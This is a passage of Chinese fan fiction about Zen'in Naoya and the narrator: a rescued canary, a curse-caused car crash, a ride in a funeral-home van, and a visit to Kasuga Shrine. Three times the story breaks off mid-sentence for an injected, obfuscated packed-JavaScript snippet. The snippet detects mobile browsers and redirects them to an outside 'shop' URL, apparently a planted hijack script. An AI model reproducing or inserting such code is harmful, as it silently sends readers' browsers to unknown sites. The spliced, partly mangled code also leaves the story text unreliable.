直哉不着痕迹地撇下嘴角。实不相瞒,他也不爱玩虫子,要是按照小跟班的说法,简直就像在说讨厌虫的他也是女孩子那样——竟然把女孩子的刻板印象标签尊贵的禅院家嫡子身上,大逆不道! 当然啦,发火可以晚一点,此刻有你在场的情况下,他当然要把奚落你放在第一位,哪怕他也不是真的想要说你的不好,只是他的烂人基因自说自话地钻了出来,仿佛自动运转的某种程序,无需按下开关键,这就已经开始启动了。 顺便,在对你进行奚落之余,顺便还要考虑到他本人同样讨厌虫子的客观事实,于是一贯尖锐直白的话语变成了拐弯抹角的阴阳怪气,和体谅般的摆手轻笑一起传过来。 “别这么说她。五十里只是完全没有朋友,所以只能和虫子玩在一起而已。”他笑眯眯地朝你投来目光,“是吧?” 你眨了眨眼,对于这番发言琢磨了片刻。 没想到直哉…… ……还挺体谅你的嘛! 居然还知道你在禅院家没有朋友,他果然很关心你! 25.虫子朋友 对直哉的揶揄冒出了好一番错误认知的你,显然没有学习过什么叫做阴阳怪气的说话艺术。 “不是的。”你真诚地摇头,“我没有在和虫子玩。而且我想纠正你一下,朋友的话,我觉得应该算是有吧,虽然只有一位罢了。” 直哉满不高兴,“难道你又要厚着脸皮——” “我觉得维拉是我的朋友。” ——难道你又要厚着脸皮把我当做你的朋友吗? 直哉本来是想这么说的。至于禅院维拉,他压根没考虑过这番对话里会出现她这个边缘人物。 好奇怪,他居然挺恼怒的,却也只是空落落的气恼,而不是多么真切的愤怒,明明他根本不乐意被你当做朋友的。 对于少爷的心情,你一贯无心探寻(对于其他人也是一样),相较之下还是草丛里传来的窸窣声更让你在意。连道别都没有说,你赶忙朝着声音的源头寻过去,其他人丢到脑后。 发出细小动静的似乎不是虫子,大概率是狡猾的老鼠吧,好在你最后还是挖开草根找到了几个蛹,包在纸巾里带回了房间。 “我找到了,维拉。” 你摩挲着开灯。 “你把笼子放到什么地方了?” 早就说了,寻找虫子的行动并非兴趣使然,仔细想来应该是责任心的落实才对——照顾两周前掉在窗前的受伤小鸟就是你和维拉自发担负起来的责任。 说实在的,那只小鸟是怎么落下来的,无论你还是维拉,全都一无所知,只知道见到它的时候,它就已经是一副可怜巴巴的样子了,折断的翅膀耷拉着,尘土和血迹盖住了金色的羽毛,把它变得像个小泥球。 小鸟和偶尔会死在你们房间的甲壳虫不一样,有血有肉还有骨头的生物腐烂之后会发出难闻的气味,还会爬满驱虫。在你寻找着在哪里挖坑把它埋起来才好的时候,维拉已经捣鼓着为它做出了一个支撑翅膀的支架。 我不希望她就这么死掉,死在禅院家一定不是好归宿。 维拉当时是这么说的,用上的人称甚至是拟人的“她”。 你是没什么意见啦,毕竟你连主见都不存在多少,既然维拉想要把它留下来,希望它愈合之后能凭一己之力飞出沉闷的宅邸,你当然不会泼冷水或是说扫兴话,用努力找到的虫子把小鸟的肚皮填饱。 “说起来,” 你用手指戳戳小鸟膨起的胸毛,不必抬头也能听到维拉修理笼子的声音。 “这是什么鸟来着?” 你戳戳小鸟,小鸟也会蹭蹭你。你替它找寻食物,它给予了你亲昵的触碰作为回报。小动物就是这么简单好懂,是褪去后立刻就能给予回馈的潮水。 维拉也没抬头——为什么非要看着别人说话才算是礼貌呢?她一向不乐意苟同这一点。 “金丝雀吧。”她给出最靠谱的猜测。 “因为它是金色的?黄鹂也差不多是这种色调吧。”你故意把小鸟头顶的毛弄乱,下一秒它就开始啄你了,“我没见过金丝雀。” “把它带到矿井,越下越深,如果它不唱歌了,那它就是金丝雀没错。” 你觉得维拉的说法很怪,有点词不达意的。 “京都没有矿井吧?况且,它现在也不唱歌。”准确地说,疑似金丝雀的小鸟平常连叽叽喳喳的声音都很少会发出来。 维拉垂下头,更细致地打量修缮好的笼子,色泽显眼的发丝落在地上,拢成一圈又一圈。“在禅院家,没人会想唱歌。”她说,“鸟也一样。” 是吗?是吧。你的确无法反驳。 笼子修好了,不过可以晚点再把疑似金丝雀的小鸟关进去。它的翅膀还伸不直,没办法飞出去,修好笼子也只是为了在你们谁都不在的时候保证它的安全而已。 可要是你和维拉两个人都长时间不在,似乎有些不好,也难怪她问你是否会参加不久之后的奈良祭典。 和任何哪年都一样,开年要前往春日大社布下结界——现在你很清楚春日大社这个地点了。 “会去吧。”你锁好鸟笼,“没什么不去的道理。” “你去的话,我就不去了。”她给自己找到了完美的理由,“我留下来照顾小鸟。” “好。但这可是难得的能从离开宅邸的机会?” 你还以为维拉很想离开禅院家的大宅呢。 你的认知倒是没错,只是在她看来,有禅院家的人所在的地方和禅院的宅邸没有区别,就算走到奈良,依旧会被沉闷腐朽的气息笼罩。况且奈良的鹿凶猛,她不喜欢。 你倒是不觉得小鹿们讨厌。这些毛茸茸长角的生物还挺喜欢你的,一定会在你走向春日大社的步道上用角顶你的后腰。 前两年它们完全能用角戳到你的脑袋,感谢发育期让你在这段时间里猛猛拔高,现在倒是不用担心会被戳中后脑勺了。 你捧着一大箱杂物,被鹿角顶着往前走。今年家主倒是早早抵达了神社,在仪式正式开始的前一天就抵达正殿坐镇,虽然你觉得他只是换了个地方喝酒。有的人却姗姗来迟,没错说的就是直哉。 你听到有人窃窃私语说他是不是不来了,听说直哉少爷已经到了能够独立祓除咒灵的阶段,未来的更多时间都要耗在祓除任务上了,可没空来为仪式性的事宜付出时间。但你也听到了家主那头说起直哉的事情,说的确实他堵在了路上,不晓得今天能不能赶过来。 事实上,直哉确实是堵在了路上,却不是因为糟糕的交通情况——而是一场不大不小的车祸。 …… 如果将眼前的意外称为“车祸”,多少有点过分骇人了。考虑到自己并没有在这场意外中受到半点伤害,禅院直哉认为刚才发生的事件无法算是意外。 但不管怎么说,蹩脚的新任司机确实撞上了突然冲出来的小孩咒灵。这个手短脚短脑袋也小的诅咒化身鬼娃回魂的主角恰奇,尖叫着举起小刀一下子就扎死了司机——仔细想想,自己应该在这个时间节点之前介入才对,这样一来载着他的轿车就不会失控着撞上路边的电线杆了。 在可怕的冲击力迎面撞过来之前,直哉已经跳出了车外,顺手掰掉小孩咒灵的脑袋,听它叽哇叽哇地叫嚷着消失,顺手拍掉了落在衣袖上的灰尘,余光刚好瞥过被撞烂的轿车。 看来要和老爹说一声,以后找些冷静且有能力的司机才行了。被菜鸡咒灵一下子秒杀算怎么回事?干脆让家里那些没本事也没能力的废物咒术师们负责开车算了。 直哉想着想着就忍不住要翻白眼,但不忘先打电话给老爹,告诉他半路上发生的可笑意外,拜托他另外派人接他到春日大社。 “我刚从旧宅拿到您想要的咒具了,离开了也没多久,感觉和神社可能有段距离。” 他说着,习惯性地四下看了看,果然周围冷清得连路人都看不到,连便利店都倒闭了。 “能让人快点过来吗?” “让健人帮你安排。这种杂事不用问我。” “好。” 果然没必要给忙人老爹说这件事。直哉挂断电话的时候冒出了怨念。 而这番怨念在联系专门负责杂务的禅院健人、且话才说到一半手机就没电关机的时候,郁闷程度彻底翻了个倍。 运气真差……不对,不该这么说。 要是责备运气,简直就像是再说他自己不好一样。禅院直哉怎么可能不好?要怪就得怪司机无能、咒灵恼人以及时运不济,反正他禅院直哉是不可能出错的。 就算没带上手机的备用电池,也不能算是他的错。 直哉拍拍衣袖,靠上旁边的电线杆。现状不算太好,好在他的心情也没那么糟糕。刚才他已经把最重要的信息传达给健人了——所在位置和嚷嚷着说出来的“快接我过去”就是最重要的内容没错。接下来只要等待家里人来接应就好了。希望他们识相一点,赶紧放下手头的一切事宜赶来他的身边。 冷清的这个破地方离春日大社不算近,直哉暂且为来接他的司机定下了三十分钟的时限。 定完时限之后他才发现自己没带手表。 丢三落四的一天,当然直哉依然不会怪在自己的头上,一定是佣人没有备齐他的东西,回去就责罚他们。 没有了手表该如何丈量时间呢?虽然也能依靠影子的角度知晓时间已然走过些许,但能知道的也就仅此而已了。 每一秒被拉拽得好长,三十分钟肯定已经过去了吧?甚至可能度过了不止一个三十分钟,连天色都逐渐暗下去了。可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17329853|197148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恶,怎么还没见到人? 直哉不想表现得多么急切——拜托他压根没在急的好吗。他愤怒的对象完全是没能来准时接他的家伙,面对家主继承人的需求,怎么能如此懈怠,真是无法(“法”指的当然是他禅院直哉)无天(“天”也该是他禅院直哉)! 越想越不爽,不耐烦的等待百分之一百地转化成了被轻视的不快。直哉不自觉地一直在用咒具敲打地面,想着稍后该怎么拿这把生锈老旧的刀给迟到的怠慢家伙捅几个洞,说不定能在诅咒之余附上破伤风加成。 当脑海中的惩罚方式从借用武器进阶到直接使用赤手空拳把对方的脸蛋砸破时,不远处传来了汽车的引擎声。 磨蹭了这么久,总算是来了。直哉摩拳擦掌,把骨节按得咔咔响,他的怒气已蓄势待发,只待这辆挂着奈良车牌的黑色面包车停下,满载不爽的他的拳头就会砸向第一个从这辆车上走下来的…… “哇,原来你在这里啊。” 你从车窗里探头出来,然后干脆地从窗子里钻出来了。 直哉的拳头缩回去了——好奇怪,这个动作居然比思维来得更快,在收起拳头之后他才冒出“还是别用拳头了否则反而要被五十里鸣神打”的理性想法。 拳头是收起来了,恼怒还留在原地。他冲你嚷嚷,问你为什么来得这么晚,难道是完全不把他放在心上吗?“你是故意来得这么晚吧!”甚至还这么说了。 “倒不是故意啦。” 你得替自己辩白。 首先,你得承认,你不乐意接下这份差事,尤其健人还要在你耳朵嚷嚷着差遣你速速找辆车接少爷回来,你更不乐意了。 你说你很忙,健人说你别忙了,直哉那边最重要。你说你不知道司机们的联系方式,他说你直接拦一辆出租车不就好了。 此话一出,你瞬间觉得自己占领了舆论高地,果断地告诉他,你身上一分钱都没有,没办法付车钱。 “没钱的家伙能不能别表现得这么得意洋洋的?” 健人嫌弃你说出没钱时昂首挺胸的姿态,仿佛不知廉耻——没钱的家伙就该低下脑袋畏畏缩缩才对啊。 很可能这就是为什么,当他摸了半天也没能从口袋里摸出钱包时,自己也不自觉露出了窘迫的神情。 他本应该带你去找被放在行李箱里的钱包,不巧家主正在叫他过去。无论何时,一定是家主的需求最重要,他想也不想就把房间钥匙丢给你,让你先把直哉接回来,顺便把司机的尸体处理掉。这也很重要。 “那也用不着耽搁这么久吧。你只需要花时间找钱包不是吗?” 直哉冷笑。他觉得你就是在找借口。 “嗯——事情没那么简单。” 毕竟你不只找了钱包,还找出了别的东西,但这件事暂且先不说了吧。 “比较浪费时间的意外是载我过来的出租车也报废了,我中途换了辆别的车过来。你知道的,这条路很长,而且司机不常来这片区域,途中一不小心又多绕了些路。就是这样。” 不还是借口嘛。 就算是存在着这些或客观或主观的阻碍,直哉依然认为你的姗姗来迟是不可饶恕的,理由很简单,“你该将我的事情看得最重要才行,不是吗?” 你眨眨眼,其实挺搞不懂他,甚至觉得他这话说得像是在撒娇,但还是无奈地耸了耸肩膀,“既然你都这么说了。” “那还不赶紧送我回去!” 他说着,把每一步都踏得啪啪响,朝黑色面包车走过去,打心底嫌弃你找来了这么一辆掉价的载具。不过,今天吹风吹得够了,他可不打算再继续傻兮兮地站在风里,就算是不喜欢的车型,此刻也显得没那么嫌弃了。 “可以是可以。”跟上他的脚步,你忽然想起来,“啊,不过——” 还没说完的话语被他车门猛得拉开的声响打断,直哉与蹲在后排穿着连体工作服的壮汉对上视线。他一眼就看到了工作服上绣着的“奈良第三殡仪馆”,还有他们正在捣鼓的棺材。 “没来得及告诉你。” 你觉得现在说似乎也不算晚,坦然道。 “我刚才是搭殡仪馆的车过来的。” “……?” 什么啊! 26.小型事故 禅院直哉这辈子都没想到,自己居然能够在活着的日子里听到殡仪馆这么晦气的词语,他的漂亮脸蛋理所应当地皱了起来,变成前所未有的难看模样。 想让你闭上嘴别说晦气的词,也想让你解释一下为什么出现在这里的车会是殡仪馆,更想问问你车里的棺材是不是故意用来触他霉头的。直哉下意识想做的事情有这么一大堆,优先级不分上下,混杂在一起反而让他不知道该先做哪桩事情才好了。 总之,先愤愤地瞪你一眼,飞快收回贴在车门上的手——都说了,活人和殡仪馆以及其所属物牵连在一起很晦气的,他才不想和殡仪馆扯上关系! 随即后退两步,再后退一点,他气到牙齿在打架,艰难地挤出一句“你应该欠我一个解释吧”。 “真亏你能坐着殡仪馆的晦气黑车过来呢。”他不忘嘲讽你,差不多算是触发了被动节能,“说不定棺材里装着的鬼魂,半夜会跑来纠缠你。天呐,我可真担心你的安危。” 屁嘞,怎么可能。 直哉才不要担心你,你被鬼魂索命最好了,上述话语全部都是阴阳怪气没错。 一点也不叫人意外,你丝毫没有听出他的心思,还对他说谢谢,心想他真的一直都好关心你哦。 “感谢你考虑到了我的安全问题,不过我没事的。”你盯着他的眼睛,很认真地对他说,“因为世上没有鬼,人们定义的鬼差不多全部都是是诅咒在作祟。直哉你也别太害怕哟。” 导致概率没能抵达完美的百分之一百,主要是偶尔会出现活人装神弄鬼的情况。你一向严谨,认定这也必须纳入考虑才行。 “诅咒的话就更不用担心了。祓除掉就好了嘛。” 这话真是被你说得太轻飘飘了,也难怪直哉依旧不高兴。 “说得好的你已经成为独当一面的咒术师了一样。” “我会成为的。说起车的事情,”你切回正题,“健人刚才和我说了,还要处理司机的尸体,所以我在出发之前就联系了殡仪馆先过来接收尸体,免得晚了会被人看到报警。” 眼前满是轿车碎片的场景,怎么看都是车祸现场没错,被路人看到绝对要尖叫着介入帮忙。虽然全国的警视厅都已经和总监部通过气了——否则为了祓除咒灵而制造出的三天两头的混乱实在没法解释——但有官方麻瓜出现,无论是解释还是后续的处理,难免会很麻烦。健人把麻烦差事推给你已经够麻烦了,你才不要烦上加烦。 避免麻烦,就要先把麻烦处理掉才行。赶紧联系殡仪馆,凑巧这家正是禅院家麾下的产业,用不着解释太多就能把人使唤过来了。 相较之下,坐上这辆车的原因显得更加简单,完全是因为载你过来的计程车中途报废,干脆打电话(感谢很有先见之明但没有手机的你偷偷拿走了还有禅院健人的备用手机)拜托殡仪馆半途改道载你一程,正好你们目的地相同嘛。 “应该不用等很久,装好尸体之后我们就可以出发了。我和司机打过招呼了,他愿意绕路把我们先送到春日大社。”你重新把车门拉开,“上车吧?” 直哉用一种不可思议的目光瞪你。 “你要让禅院家的少爷坐在装死人的车上吗?”简直是笑话,不可理喻!他说完还忍不住冒出这种愤愤的念头。 “唔——”你挠挠头,“可人总有要被殡仪馆拉走的时候嘛,只是早一点和晚一点的区别罢了。” 你无奈摊手。 “能搭上殡仪馆的车已经很好啦,要是死了连殡仪馆都不来拉你,不就说明死无葬身之地或者压根没人在意你的死嘛。为了防止这种凄惨的结局,不如还是现在坐一次殡仪馆的车比较好。就当是,不留遗憾地先把未来的事情在当下做完?” 直哉真的无语了,“你要不要听听你在说什么?” “我在听呢。” “……算了。” 和笨蛋说话是没有出路的,干脆别在你的身上浪费时间。他果断掐断这个话题,让你赶紧叫辆正常的出租车过来。 在如此冷清的路段,想要等到空出租车驶来,估计概率相当低,还是一步到底,直接联系出租车公司过来吧。 你对此很认同,所以你主动把顺手拿来的健人的备用手机交给他,毫不意外地收获了他不快的表情。 “你什么意思?”他质问你。 “把手机交给你、这样你就能打电话叫车的意思。”你说,“我对殡仪馆的车不挑,无所谓和死掉的司机一起被送回去。” 意思就是说,既然只有他想挑剔地非要选择出租车,那就得自己解决才行。 “这种小事也要我亲自来做?”他居然都感觉不到生气了,只想冷笑,“那你在禅院家能派上什么用?” “唔……” 你很认真地想了想。 “能派上咒术师的用?” “别做梦了,过分自我的家伙可当不了咒术师。” “是吗?”这个道理还是第一次听到,你仿佛明白了什么,“意思是,丢掉过分自我的坏习惯,就能成为靠谱的咒术师了?” 屁嘞。首先你怎么可能变得不自我,自私简直就是你刻在基因里的原始代码。 直哉心里这么想着,却懒得搭理你,把手机丢到你怀里——准确地说,直哉瞄准了你的脑袋,然后才把这部足够砸碎石头的诺基亚抛过来的,你只是幸运地精准接住了而已。 “你得和我一起回去。打电话叫车吧。” 他干脆地把你拴在身边。现在轮到他折磨你了。你是无所谓啦,毕竟你根本没意识到这算是折磨,还把直哉当成了爱使唤人的粘人鬼。考虑到他今天关心过你,作为交换,就帮帮忙吧。 可惜没能帮上忙。你根本打不通租车公司的电话。 “想打车的话,走到附近的大路就可以了吧。”殡仪馆的司机给你们指了路,“不太远,到教堂那边就热闹一点了。要我载你们过去吗?” “不必了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17333766|197148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都说了,他不要坐装尸体的车。 这样的话,打个车就要亲自走过去,真烦。直哉想也不想地就要差遣你独自过去叫辆车来,可你早就往大路的方向走了,脚步飞快,借着街灯也只能看到你歪脑袋摸头发的小动作,好让人不爽。 “说了几次了,该是男人走在前面!”他冲你嚷嚷,最后的那一丁点理性都要被你气得蒸发了,“走到我后面去。” 你没给出什么反应,没听到似的阔步向前。 直哉试着加快速度超过你,可你也走的挺快,微小的一丁点超越都会在下一秒被抹平,甚至甩到身后。 就是在故意和你作对没错吧?直哉不爽地直接按住你的肩膀,从物理意义上让你落在了身后。 突兀的触碰。你习惯性抖了一下。 “干嘛?”你摘掉耳机,“你刚才说了什么吗?” 你一点都没听到,谁让你一踏上人行道就塞好了耳机,按下随身听的开关,继续播放才转到一半的专辑磁带。 和手机一样,随身听也是从禅院健人的那里找到的。当然不是今天顺手摸出来的,而是再早一点的时候,目的也很纯粹,就是为了报复小时候他把你猛揍一顿丢进忌库的仇恨。 潮水重新涨起来了。 所以你偷走了他珍藏的索尼限定绝版随身听——真想不到这个巴掌大的小东西市价居然要好几十万,你用禅院家的电脑调查到这个信息的时候自己都忍不住被吓了一跳。 拿走如此昂贵的东西给你带来的罪恶或是愧疚感?抱歉,一点都没有哦。 要是健人以前在揍你的时候有过一丁点愧疚或者心痛的话,那今天的你一定也会投桃报李,对自己的盗窃行为进行反思。既然健人连抱歉都没你说过,直到最近都还摆出一副傲气的臭脸看你,你也没必要冒出什么多余的情感了。 直哉得出结论了,他一辈子也不会理解你这家伙的脑回路。有人走在身边还听歌?真没礼貌。 “给我。”他冲你伸出手。 “哦?”你迟疑了一下才点头,“行吧。” 你摘下一只耳机,塞进他的耳朵里,现在正好放到宇多田光的《first love》,唱出的是“你会永远是我的爱”这一句。 你很少接触流行乐,在健人的随身听里才第一次听到这首歌,意外的还挺喜欢。 如此看来,虽然禅院健人这家伙挺讨厌,听歌品味意外的倒很不错的嘛。那就把这张专辑磁带留下来,只对他心爱的随身听进行毁尸灭迹的打击吧! 想到过几天要对昂贵的他的宝贝做些什么,你心情大好,忍不住轻快地哼起调子,早就扬起了嘴角,丝毫没有注意到直哉惊愕的表情。 不是不爽,也不是嫌弃,更没有怒斥你因误解而产生的行动,而是惊愕,他完全没有意识到自己的脚步已经落在你的身后了。 他只是在想一件事,想到了非常恐怖的可能性。 直哉怀疑,你根本就是喜欢他! 27.你八成喜欢我 似乎……意识到了一些相当了不得的事情? 直哉不想承认,就冒出你八成喜欢他的这个推测时,他的大脑很不争气地空白了一瞬—— ——可恶,大脑陷入空白什么的,这绝对是最丢人最愚蠢的事情了,换言之是只有你这种人才做得出来的事情,绝不可能是天之骄子禅院直哉该有的反应。 但能有什么办法可以抑制这种无所适从的凡人感吗?好像没有,反正直哉没能做到。 在几秒钟的迟钝之后,他才终于感觉到自己的知觉开始缓缓地爬回到大脑之中。 明明就只是短短片刻的大脑空白而已,他的身体居然也迟钝了,没能追上思维的速度,过分笨拙地僵在了原地。而你也迟迟地才意识到这一点,自顾自往前走出了几步,才被耳机线的拉扯感提醒了直哉正落在身后的这个事实。 你姑且还算反应及时,赶紧停住脚步,恰到好处的反应时间具象化成了被拉直的耳机线。但凡再往前多走一步,你或是直哉的耳机一定会掉出来,宇多田光沙哑的嗓音也会在脑海里按下暂停键,可你还想继续听到她的歌声。 既然如此,你肯定不会再继续前进了,但也懒得后退,不想迁就自己以适应直哉拖延的速度,只情愿停住脚步在原地等他——要是没有耳机的牵扯,你估计都不打算停住脚步,会很干脆地丢下他兀自往前走吧。 直哉说过你的很多坏话,但有一点他说得很中肯,你的确是过分自我的家伙。 可就是这么自我的你,懒得迁就任何人的无比自我的你,这会儿却愿意停在原地等他走上来。绷直的耳机线会让音乐在任何一个时刻停止,你不得不夸张地歪着脑袋,不解地看着直哉,用眼神询问他为什么走得这么慢。 直哉真的看懂你目光里藏着的疑问了吗?说不好,八成是没有感觉到。 在这一秒里,他注意到的就只是你浅橄榄色的浑圆眼眸。在街灯的映照下,你的眸色变得比任何时候都更加泛着一层清透的碧绿光泽,仿佛他过去常常看到的你的眼睛,并非此刻注视着他的这双眼眸。 甚至连他一贯最讨厌的你的秉性,居然也没有在此刻浮上虹膜的表层,真恐怖。 直哉不自觉地扯了扯嘴角,露出的当然是嫌弃的表情,却不那么明显,至少谁也不会发现。 会让他无比嫌弃的,当然是(他自以为的)你喜欢他的这件事。 绝不是身为赛级禅院家男子生来的自恋在作祟,他可以坚信,自己的猜想有百分之百的准确度。并且,在添上了名为暗恋的这层滤镜之后,你过去的那些过分的甚至不可理喻的行为,好像全都可以解释了。 正是因为你暗恋他,所以你才故意对表现出那副毫无尊敬的样子,还做出一大堆莫名其妙的没礼貌事情,甚至对他动手动脚,一切都是为了让他注意到你截然不同的存在! 正是因为你暗恋他,所以你才会在他受伤的时候特地用截然不同的方式前来拜访,还询问他的痛楚,明明在这个家里其他那些爱他、关心的他人从来都不曾说出这种话语! 正是因为你暗恋他,所以你才故意找来了他绝对不想搭乘的殡仪馆轿车,还假装叫不到出租车来接,肯定就是料到了可以乘机和他一起独自走在夜晚的街道上,其心可诛! 这么想着,总觉得晚风都带着一种令人厌恶的燥热了。直哉眯起眼看你,这大概是他第一次很认真地注视你。 真是奇了怪了,明明已经摸清了你丑陋的心思,可怀着这番看透一切的心情所看到的你的脸,居然完全不似你的心机那般丑陋,意外的还透出了几份可爱,估计是因为歪脑袋的动作自带可爱属性的加持吧,尤其你既没说话也不不打算动手,从外表看起来正常到甚至有点讨喜。 但讨喜归讨喜,你的喜欢对他来说未免太别扭了一点吧…… 不不不,岂止是别扭啊,简直是难以接受!他才不要被你予以男女之间的喜欢啊! 这么想着的他立刻朝你投来了愤恨的目光,心想无论如何都不能接受你的这份变态情感才行。简直像是理所应当,你才刚动了动嘴,他就立刻冲你大叫。 “别想了,不可能!”他连拳头都握紧了,“我才不可能接受你这种人的……想法!” 他甚至都不情愿称之为“告白”或者“暗恋”,完全没办法正大光明地说出口。 你摸了摸脸颊,这个动作能够完美地遮挡掉一大半你茫然的表情,因为你真的没有听懂直哉在说什么。 “我其实没什么想法。”你抬起手,指了指消失在马路拐角的红色车灯,“我就是想说,那边有辆出租车。” 要是你们——准确地说是直哉——能够走得再快一点,现在你们八成已经坐在出租车的后排了吧。可惜现在是来不及了,车灯都已经消失了。 直哉又愣了愣,他都来不及反思自己的笨蛋行为了,只说:“……你就是想说这个?” “是啊。”你觉得今天的直哉好奇怪,“不然我还能说什么?” 直哉像缺水的鱼那样僵硬地动了动嘴巴,毫不意外地连半个气泡都没能吐出来,就连呼吸声都轻得完全听不到。 他可不想说,他以为你打算借着这个机会向他坦白心意——不管怎么说,此刻的情形都有点太适合告白了。 既然不想说,那干脆就别说了,他想也不想地果断闭嘴,赌气似的闷头往前走,你赶紧追上。还好还好,耳机没有掉出来,随身听里的磁带也好好地继续运转,左右声道的音乐不完整地分别钻进你和直哉的耳朵里。 就这么不言不语地又走过一条街,总算是拦到出租车了,抵达春日大社的时候天都黑了,还好时间尚早,在入口处的鸟居遇上了准备离开的禅院家其他人。禅院望和你小声打招呼,其他人默默挪开。 都怪你今天一副心情很好感觉会随时出拳的样子。 同样被拉来当苦力的平良和平野兄弟也是一样,一看到你就开始东躲西藏。他们在你身上吃了大亏,可不乐意再靠近了。 你是无所谓大家的反应啦——终于在道馆和宅邸里被你的拳头打得敬畏也好,依旧目中无人也罢,你一如既往,坦荡荡地根据他们对你的态度给出同样的反应。 正如你在看到健人那张臭脸之后,会对他说:“你是不是变小了一点。” “哈?”他根本不理解你的话,却不自觉挺起了后背,“你的意思是,我看起来更年轻了?” 他自顾自地把你的发言当做褒奖,主要是因为他偷摸摸去做了医美,但这种事情太女孩子气了——至少在禅院家是女孩子气的表现——他肯定不会随意说出口。 “不是哦。”你摇头。 健人的表情一下子不好看了,“在暗示我变矮了?你这家伙——” “我说的也不是个子。” 你眯起眼睛,笑嘻嘻地冲他扬起嘴角。 “是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17337252|197148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 存在感啦!” 你轻描淡写,健人暴跳如雷,下意识举起拳头,才过了两秒就灰溜溜地垂下去了。 他发现自己已经打不过你了——自从上回他给你挑刺打算再把你揪进忌库的时候。 你趁着他不爽的间隙,顺便把钱包和手机还给了他。有直毘人在,他肯定不会刻薄地当着你的面数钱包里的钱,细致地计算你究竟花掉了多少钱,是不是进行了预期之外的支出。 话虽如此,在发现你未经许可拿走他的备用手机时,健人的表情还是变得稍稍难看了一点。 要是被他知道心爱的随身听也在你的口袋里,真不知道他会摆出怎样的表情。光是幻想一下,你都觉得好爽快,冲他和直毘人露出了比刚才还要更加夸张的爽朗微笑,但当直毘人问你在笑什么的时候,你肯定会说,是因为你很高兴能够来到奈良而已。 “我很喜欢奈良嘛。”你给自己的借口添砖加瓦,试图更加合理化刚才的笑眯眯表情。 直毘人眯起眼看你,像是在探寻你的真实想法。这副目光倒算不上是审视,但多多少少带着一些打量的意味。“是嘛。”他只简单地应了这么一声,注意力很快就被南方树林间发出的声响吸引去了。 似乎是撬动什么的声响,吱呀吱呀的,你也听见了,下意识朝声音的方向看过去。 “那东西今晚就会拆掉,对吧,健人?” “是的。”健人很快地朝你瞄了一眼,“这里的神官没有提出任何异议。他也说,无人供奉的神社,没有继续存在的必要。” 看你干什么?搞不懂。难道又在暗示你不是禅院家子嗣的事实吗,真无聊。 你背地里翻了个白眼,打算告辞了,可还还不及躬身,直毘人先一步叫住了你。 “我去看看进度如何。”现在是直毘人在看你了,他的目光当然和健人不一样,“鸣神,去叫直哉过来,你们俩和我一起过去。” 即将脱口而出的告辞就此变成点头,你应了声好。 走进林子里,撬动的动静显得愈发明显,干涸的撕裂声回荡在各处。鹿群躲在夜晚的树影中,用明亮的眼睛看着你们的步伐。有几头鹿想要靠近你,但直毘人和直哉对于他们来说是不那么情愿地主动靠近的生人,只能瞪着圆眼睛注视你的背影。 这里没有几年前带着你走了一整晚抵达春日大社的那头小鹿,虽然你每年来到这里都在努力寻找它的身影,可惜每道探寻的目光都会落空。想来也是,那头小鹿的家可不在这里,你不必因此感到失望。 直哉走得飞快,想把你甩在身后。明明这该是温馨的父子时刻,真不知道你怎么会掺和进来。他想想都觉得别扭,可说不出口——在你对他心怀暗恋的这份前提的加持之下,今天的他估计已经没办法主动和你说话了。 你们在林深处停下,废弃的小神社已经破碎地散在地上,木做的祠勉强还完整地存在着,看起来却也是破破烂烂的了。 这好像是你以前看到过的那个小神社呢,原来要拆掉的是它嘛。 倒也没有因此感到伤心,同样不觉得意外,你的心情淡淡的,没什么特别的感觉。 “按照传说,这是建立了奈良城池的那位神明的所在之地。” 直毘人说。 “但那实际上不是什么神——你们该知道,世上不存在神明。这只是被人们为了请求它平息怒气,而冠上了’雷神”名号的咒灵而已。 28.虚假的神 哦哦,看来现在是家主大人的传说科普小时间。但总觉得家主大人半天没有说到重点呢。 你在很久以前就听说过了,人类在活到了特定的年纪之后,难免会变得比过去更加絮絮叨叨,总是不自觉地把相同的话语翻来覆去地说。 你不确定直毘人会不会也沾染了差不多的缺点,虽说你们之间很少会有长长的对话,你也完全不知道他是否已经一脚踏入了絮叨的老人年龄。你只好习惯性摸摸后脑勺,努力表现出认真倾听的模样。 而直哉则完全不必像你一样演出认真的神态——他太擅长在家主老爹的面前展现出自己身为乖儿子的最优秀一面了,无论是专心的神态还是闪着好学神采的眼眸,全都是信手拈来一秒钟就能浮上表层的拿手好戏。 至于这副表象是否真心……嗯,这估计是个值得思考一番的问题,当然直哉懒得琢磨。 其实直毘人无所谓你们两个小孩认真或者不认真。他只打算把想说的事情说出来,就是这样。 “现在流传的传说是,建御雷神坐在他的神使小鹿的背上来到了奈良这片土地,在此建立了凡人可以栖息的土地。” 